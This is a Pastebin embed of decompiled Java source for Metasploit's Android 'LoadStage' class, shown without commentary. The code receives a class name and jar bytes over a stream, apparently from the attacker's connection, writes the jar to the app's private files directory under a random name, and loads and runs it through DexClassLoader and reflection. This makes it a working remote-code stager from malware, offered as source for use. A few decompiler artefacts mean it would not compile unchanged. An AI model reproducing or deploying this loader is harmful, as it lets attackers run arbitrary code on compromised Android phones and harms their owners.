document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. package com.metasploit.stage;
  2.  
  3. import android.content.Context;
  4. import dalvik.system.DexClassLoader;
  5. import java.io.DataInputStream;
  6. import java.io.File;
  7. import java.io.FileOutputStream;
  8. import java.io.OutputStream;
  9. import java.lang.reflect.Method;
  10. import java.util.Random;
  11.  
  12. public class LoadStage
  13. {
  14. private String randomJarName()
  15. {
  16. char[] arrayOfChar = "abcdefghijklmnopqrstuvwxyz".toCharArray();
  17. StringBuilder localStringBuilder = new StringBuilder();
  18. Random localRandom = new Random();
  19. for (int i = 0; ; i++)
  20. {
  21. if (i >= 20)
  22. return localStringBuilder.toString() + ".jar";
  23. localStringBuilder.append(arrayOfChar[localRandom.nextInt(arrayOfChar.length)]);
  24. }
  25. }
  26.  
  27. public void start(DataInputStream paramDataInputStream, OutputStream paramOutputStream, Context paramContext, String[] paramArrayOfString)
  28. throws Exception
  29. {
  30. Object localObject2 = randomJarName();
  31. Object localObject1 = paramContext.getFilesDir().getAbsolutePath();
  32. Object localObject3 = new byte[paramDataInputStream.readInt()];
  33. paramDataInputStream.readFully(localObject3);
  34. localObject3 = new String(localObject3);
  35. byte[] arrayOfByte = new byte[paramDataInputStream.readInt()];
  36. paramDataInputStream.readFully(arrayOfByte);
  37. FileOutputStream localFileOutputStream = paramContext.openFileOutput((String)localObject2, 0);
  38. localFileOutputStream.write(arrayOfByte);
  39. localFileOutputStream.close();
  40. localObject2 = new DexClassLoader((String)localObject1 + File.separatorChar + (String)localObject2, (String)localObject1, (String)localObject1, paramContext.getClassLoader()).loadClass((String)localObject3);
  41. localObject1 = ((Class)localObject2).newInstance();
  42. localObject3 = new Class[4];
  43. localObject3[0] = DataInputStream.class;
  44. localObject3[1] = OutputStream.class;
  45. localObject3[2] = Context.class;
  46. localObject3[3] = [Ljava.lang.String.class;
  47. localObject2 = ((Class)localObject2).getMethod("start", localObject3);
  48. localObject3 = new Object[4];
  49. localObject3[0] = paramDataInputStream;
  50. localObject3[1] = paramOutputStream;
  51. localObject3[2] = paramContext;
  52. localObject3[3] = paramArrayOfString;
  53. ((Method)localObject2).invoke(localObject1, localObject3);
  54. }
  55. }
');